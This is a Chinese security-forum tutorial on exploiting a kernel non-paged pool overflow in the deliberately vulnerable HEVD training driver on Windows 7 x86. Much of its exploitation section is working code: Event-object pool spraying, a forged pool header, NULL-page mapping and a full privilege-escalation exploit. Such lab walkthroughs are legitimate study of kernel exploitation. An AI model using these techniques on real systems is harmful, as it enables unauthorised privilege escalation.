首页
论坛
专栏
课程

[原创][06] HEVD 内核漏洞之池溢出

2019-8-3 21:15 1836

[原创][06] HEVD 内核漏洞之池溢出

2019-8-3 21:15
1836

0x00 前言


这一篇,我们继续研究一种新的漏洞类型,内核池溢出。深入探讨池溢出这个主题前, 我们需要先了解下池的基本概念,有一定的内核池基本知识,才知道如何根据需要操纵它。池溢出相较于之前的漏洞类型,比较难以理解,ok,准备开始。

相关储备文章:

实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1

实验工具:VS2015+Windbg+KmdManager+DbgViewer


0x01漏洞原理


池风水

内核池类似于Windows 中的堆, 因为它的作用也是用来动态分配内存。 像堆喷射修改正常应用程序的堆一样,我们需要在内核领域找到一种办法来修改内存池,以便在内存区域精确地调用我们的shellcode。 理解内存分配器的概念以及如何影响池分配和释放机制相当重要。

在我们的HEVD驱动中,有漏洞的用户缓冲区被分配在非分页池,我们也需要找到一种方法来修改非分页池。Windows提供了Event对象,该对象存储与非分页池中,可以使用CreateEvent API来进行创建:


HANDLE WINAPI CreateEvent(
  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
  _In_     BOOL                  bManualReset,
  _In_     BOOL                  bInitialState,
  _In_opt_ LPCTSTR               lpName
);

这里我们需要用这个API创建两个足够大的Event对象数组,然后通过使用CloseHandleAPI 释放某些Event 对象,从而在分配的池块中造成空隙,经合并形成更大的空闲块: .

HRESULT CloseHandle(
   HANDLE hHandle 
);


在这些空闲块中,我们需要将有漏洞的用户缓冲区插进去,以便每次准确地覆盖正确的内存位置。因为我们会破坏Event对象的相邻头部,以便跳转到包含shellcode的地址。之后,我们会把指针指向shellcode,这样就可以通过操纵损坏的池头部来调用它。 我们伪造一个OBJECT_TYPE头,覆盖指向OBJECT_TYPE_INITIALIZER中的一个过程的指针。


分析

打开驱动源码,看到漏洞函数TriggerBufferOverflowNonPagedPool:

NTSTATUS TriggerBufferOverflowNonPagedPool(_In_ PVOID UserBuffer,_In_ SIZE_T Size){
    PVOID KernelBuffer = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
    PAGED_CODE();
    __try
    {
        DbgPrint("[+] Allocating Pool chunk\n");
        //
        // Allocate Pool chunk
        //
        KernelBuffer = ExAllocatePoolWithTag(
            NonPagedPool,
            (SIZE_T)POOL_BUFFER_SIZE,
            (ULONG)POOL_TAG
        );
        if (!KernelBuffer)
        {
            //
            // Unable to allocate Pool chunk
            //
            DbgPrint("[-] Unable to allocate Pool chunk\n");
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
        }
        //
        // Verify if the buffer resides in user mode
        //
        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of the allocated pool chunk to RtlCopyMemory()/memcpy().
        // Hence, there will be no overflow
        //
        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
        DbgPrint("[+] Triggering Buffer Overflow in NonPagedPool\n");
        //
        // Vulnerability Note: This is a vanilla pool buffer overflow vulnerability
        // because the developer is passing the user supplied value directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of the allocated Pool chunk
        //
        RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif
        if (KernelBuffer)
        {
            DbgPrint("[+] Freeing Pool chunk\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
            //
            // Free the allocated Pool chunk
            //
            ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
            KernelBuffer = NULL;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}

可以看到,原因和栈溢出如出一辙,直接使用用户传来的缓冲区大小而不是内核缓冲区大小进行拷贝。用户缓冲区数据过大,溢出到内核池毗邻的池块。IDA中我们可以看到:



申请标记为“Hack”的缓冲区,长度0x1f8即504B,后面我们将开始进行利用。


0x02漏洞利用

逆向得到IOCTL为0x22200f。我们写一个小测试代码如下:

#include <iostream>
#include<windows.h>
using namespace std;
int main(){
    HANDLE hevDevice;
    ULONG BytesReturned;

    hevDevice = (HANDLE)CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);
 
    if(!hevDevice || hevDevice == (HANDLE)-1)
	{
        printf("*** Couldn't get Device Driver handle");
        exit(-1);
	}
    char buf[100];
    int bufLength = 100;

    DeviceIoControl(hevDevice, 0x22200f, buf, bufLength, NULL, 0, &BytesReturned, NULL);
    return 0;
}

内核输出信息:



进入触发漏洞函数,可以看到池标记“Hack”,大小为0x1F8。

尝试给UserBuffer分配0x1f8字节大小,



现在不应该破坏相邻的内存块,因为现在UserBuffer的值为边界值,来分析一下池:

kd> !pool 0x86D254F0
Pool page 86d254f0 region is Nonpaged pool
 86d25000 size:  2e8 previous size:    0  (Allocated)  Thre (Protected)
 86d252e8 size:    8 previous size:  2e8  (Free)       ....
 86d252f0 size:   48 previous size:    8  (Allocated)  Vad 
 86d25338 size:   50 previous size:   48  (Allocated)  Vadm
 86d25388 size:   50 previous size:   50  (Allocated)  Vadm
 86d253d8 size:    8 previous size:   50  (Free)       VM3D
 86d253e0 size:   c8 previous size:    8  (Allocated)  VM3D
 86d254a8 size:   40 previous size:   c8  (Free )  Even (Protected)
*86d254e8 size:  200 previous size:   40  (Allocated) *Hack
		Owning component : Unknown (update pooltag.txt)
 86d256e8 size:  128 previous size:  200  (Allocated)  Ntfi
 86d25810 size:   b8 previous size:  128  (Allocated)  File (Protected)
 86d258c8 size:   30 previous size:   b8  (Free)       CcSc
 86d258f8 size:  138 previous size:   30  (Allocated)  ALPC (Protected)
 86d25a30 size:   b8 previous size:  138  (Allocated)  File (Protected)
 86d25ae8 size:   40 previous size:   b8  (Free)       CcSc
 86d25b28 size:  128 previous size:   40  (Allocated)  Ntfi
 86d25c50 size:   b8 previous size:  128  (Allocated)  File (Protected)
 86d25d08 size:  230 previous size:   b8  (Free)       Irp 
 86d25f38 size:   c8 previous size:  230  (Allocated)  Time (Protected)


可以看到用KernelBuffer被完美分配,结束地址为下一池块起始地址:


溢出会是致命性的,将直接导致系统蓝屏崩溃,因为破坏了相邻的池块头部。




我们如何能够通过溢出控制相邻的头部。我们利用的这个漏洞可以以修改池的方式来使得池不再随机化。此前讨论的CreateEventAPI 可以胜任这个工作,它的大小为0x40个字节,正好可以匹配池的大小0x200个字节。

喷射大量Event对象,把它们的句柄存储在数组中,具体看一下过程:

for (i = 0; i < 10000; i++) 
 {
        EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
        if (!EventObjectArrayA[i]) 
        {
            DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }

    for (i = 0; i < 5000; i++)
    {
        EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

        if (!EventObjectArrayB[i]) {
            DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }
...
...
 for (i = 0; i < 5000; i += 16) {
        for (j = 0; j < 8; j++) {
            if (!CloseHandle(EventObjectArrayB[i + j])) {
                DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
                exit(EXIT_FAILURE);
            }
        }
    }

主函数代码 
 __try {
        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);

        hFile = GetDeviceHandle(FileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");

        // Allocate the Heap chunk
        UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
                                           HEAP_ZERO_MEMORY,
                                           UserModeBufferSize);

        if (!UserModeBuffer) {
            DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer);
            DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize);
        }

        DEBUG_INFO("\t\t[+] Mapping Null Page\n");

        if (!MapNullPage()) {
            DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }

        DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");

        RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);

        // Restore POOL_HEADER and set TypeIndex to 0x00 (TypeIndex is UChar)
        Memory = (PVOID)((ULONG)UserModeBuffer + (ULONG)POOL_BUFFER_SIZE);
        *(PULONG)Memory = (ULONG)0x04080040;
        Memory = (PVOID)((ULONG)Memory + 0x4);
        *(PULONG)Memory = (ULONG)0xee657645;
        Memory = (PVOID)((ULONG)Memory + 0x4);
        *(PULONG)Memory = (ULONG)0x00000000;
        Memory = (PVOID)((ULONG)Memory + 0x4);
        *(PULONG)Memory = (ULONG)0x00000040;
        Memory = (PVOID)((ULONG)Memory + 0x4);
        *(PULONG)Memory = (ULONG)0x00000000;
        Memory = (PVOID)((ULONG)Memory + 0x4);
        *(PULONG)Memory = (ULONG)0x00000000;
        Memory = (PVOID)((ULONG)Memory + 0x4);
        *(PULONG)Memory = (ULONG)0x00000001;
        Memory = (PVOID)((ULONG)Memory + 0x4);
        *(PULONG)Memory = (ULONG)0x00000001;
        Memory = (PVOID)((ULONG)Memory + 0x4);
        *(PULONG)Memory = (ULONG)0x00000000;
        Memory = (PVOID)((ULONG)Memory + 0x4);
        *(PULONG)Memory = (ULONG)0x00080000;

        DEBUG_INFO("\t\t\t[+] TypeIndex Of Event Object Set To: 0x0\n");

        DEBUG_INFO("\t\t[+] Preparing OBJECT_TYPE_INITIALIZER At Null Page\n");

        // Set the DeleteProcedure to the address of our payload
        *(PULONG)0x00000060 = (ULONG)EopPayload;

        DEBUG_INFO("\t\t\t[+] DeleteProcedure: 0x%X\n", *(PULONG)0x00000060);
        DEBUG_INFO("\t\t\t[+] DeleteProcedure Address: 0x%p\n", (ULONG)0x00000060);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);

        DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n");

        DEBUG_INFO("\t\t\t[+] Spraying With Event Objects\n");

        // Spray the NonPaged Pool
        SprayNonPagedPoolWithEventObjects();

        DEBUG_INFO("\t\t\t[+] Creating Holes By Coalescing\n");

        // Create the holes for the vulnerable buffer
        CreateHolesInNonPagedPoolByCoalescingEventObjects();

        DEBUG_MESSAGE("\t[+] Triggering Pool Overflow\n");

        OutputDebugString("****************Kernel Mode****************\n");

        // Allocate the vulnerable buffer in one of the holes we created
        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_POOL_OVERFLOW,
                        (LPVOID)UserModeBuffer,
                        (DWORD)UserModeBufferSize,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);



我们的Event对象被喷射到非分页池中,现在我们需要在这些内存块创造一些空隙,然后把我们有漏洞的Hack缓冲区重新分配到这些空隙中。在重新分配有漏洞的缓冲区后,我们需要破 来分析一下头部: 坏相邻的池头部,以指向我们的shellcode地址。Event对象的大小为0x40个字节(0x38+0x8),包括池头部。

来分析一下头部:


由于Event对象被喷射到非分页池中,所以我们可以将这些值加到缓冲区末尾,来实现利用。但是,简单这样做是行不通的,我们来研究下头部的数据结构,再稍作修改:



我们感兴趣的部分是TypeIndex,它实际上是指针数组中的偏移量大小,它定义了Windows所支持的每个对象的OBJECT_TYPE,来分析一下:

这看起来可能有点复杂,标记出了重要的部分:

      第一个指针是00000000,在Windows 7下非常重要(下面解释);

     下一个突出显示的指针是85f05418, 这是从0xc个数组元素开始的偏移量;

     分析到这,可以看出这是Event对象类型;

     现在最有趣的是偏移量0x28 处的TypeInfo成员:

            这个成员的最后部分有一些程序调用,我们可以从提供的程序中挑选以供己用,在这选择0x038处的CloseProcedure

            CloseProcedure 的偏移量为 0x28 + 0x38 = 0x60

            我们会覆盖0x60处的这个指针,让它指向我们的shellcode地址,然后调用CloseProcedure方法,从而最终执行我们的shellcode。



我们的目标是把TypeIndex的偏移量从0xc改为0x0,因为第一个指针是空指针,在Windows 7 中有一个漏洞,可以调用NtAllocateVirtualMemory来映射到Null页面:

NTSTATUS ZwAllocateVirtualMemory(
  _In_    HANDLE    ProcessHandle,
  _Inout_ PVOID     *BaseAddress,
  _In_    ULONG_PTR ZeroBits,
  _Inout_ PSIZE_T   RegionSize,
  _In_    ULONG     AllocationType,
  _In_    ULONG     Protect
);

然后调用WriteProcessMemory覆盖0x60处的指针,指向shellcode地址:
BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess,
  _In_  LPVOID  lpBaseAddress,
  _In_  LPCVOID lpBuffer,
  _In_  SIZE_T  nSize,
  _Out_ SIZE_T  *lpNumberOfBytesWritten
);

整合之后代码如下:
include <iostream>
#include<windows.h>
using namespace std;

#define NTSTATUS long

typedef NTSTATUS (WINAPI* ZWALLOCATEVIRTUALMEMORY)(
   HANDLE    ProcessHandle,
   PVOID     *BaseAddress,
   ULONG ZeroBits,
   PSIZE_T   RegionSize,
   ULONG     AllocationType,
   ULONG     Protect
);
    HANDLE    EventObjectArrayA[10000];
    HANDLE    EventObjectArrayB[5000];

int main(){
	HANDLE hevDevice;
	ULONG BytesReturned = 100;
	
	hevDevice = (HANDLE)CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);
	
	if(!hevDevice || hevDevice == (HANDLE)-1)
	{
		printf("*** Couldn't get Device Driver handle");
	//	exit(-1);
	}
	ZWALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(LoadLibrary("ntdll.dll"),"NtAllocateVirtualMemory");
	PVOID v1 =(PVOID)-1;
	NTSTATUS Status = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,&v1,0,&BytesReturned,0x3000,0x40);
	char shellcode[0x60]={0};
	memset(shellcode,0x90,8);
	PVOID shellcodeAddress = shellcode+20;
	WriteProcessMemory((HANDLE)0xFFFFFFFF,(void*)0x60,&shellcodeAddress,0x4,&BytesReturned);
	char buf[544];
	memset(buf,'A',504);
	
	PVOID Memory = (PVOID)((ULONG)buf + 504);
	*(PULONG)Memory = (ULONG)0x04080040;
	Memory = (PVOID)((ULONG)Memory + 0x4);
	*(PULONG)Memory = (ULONG)0xee657645;
	Memory = (PVOID)((ULONG)Memory + 0x4);
	*(PULONG)Memory = (ULONG)0x00000000;
	Memory = (PVOID)((ULONG)Memory + 0x4);
	*(PULONG)Memory = (ULONG)0x00000040;
	Memory = (PVOID)((ULONG)Memory + 0x4);
	*(PULONG)Memory = (ULONG)0x00000000;
	Memory = (PVOID)((ULONG)Memory + 0x4);
	*(PULONG)Memory = (ULONG)0x00000000;
	Memory = (PVOID)((ULONG)Memory + 0x4);
	*(PULONG)Memory = (ULONG)0x00000001;
	Memory = (PVOID)((ULONG)Memory + 0x4);
	*(PULONG)Memory = (ULONG)0x00000001;
	Memory = (PVOID)((ULONG)Memory + 0x4);
	*(PULONG)Memory = (ULONG)0x00000000;
	Memory = (PVOID)((ULONG)Memory + 0x4);
	*(PULONG)Memory = (ULONG)0x00080000;
	
	UINT32 i = 0;
    UINT32 j = 0;
	for (i = 0; i < 10000; i++) {
		EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
		
		if (!EventObjectArrayA[i]) {
	//		exit(EXIT_FAILURE);
		}
	}
	
	for (i = 0; i < 5000; i++) {
		EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
		
		if (!EventObjectArrayB[i]) {
	//		exit(EXIT_FAILURE);
		}
	}
	
	 for (i = 0; i < 5000; i += 16) {
        for (j = 0; j < 8; j++) {
            if (!CloseHandle(EventObjectArrayB[i + j])) {
             
     //           exit(EXIT_FAILURE);
            }
        }
    }

	int bufLength = strlen(buf);
	DeviceIoControl(hevDevice, 0x22200f, buf+20, bufLength, NULL, 0, &BytesReturned, NULL);
	return 0;
}

测试:

有漏洞的缓冲区现在位于我们创建的Event对象之间的空隙中。


TypeIndex由 0xc 修改为 0x0

shellcode地址布置完成!

现在,只需要调用Closeprocedure,在 虚拟内存中 加载shellcode, shellcode应该完美运行。Payload参见这里



提权成功。



0x03 漏洞反思
近些年池溢出方面的漏洞比较少见,不管怎么说,先大概了解一哈吧。

内核代码确实应该时刻注意,尤其是缓冲区大小问题,说不定啥时候,boom,BSOD。哈哈。

0x04 链接

这篇主要参考fyb波师傅的的文章:https://bbs.pediy.com/thread-223719.htm

rootkit原文链接:https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/




[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-8-7 20:23 被Saturn丶编辑 ,原因:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回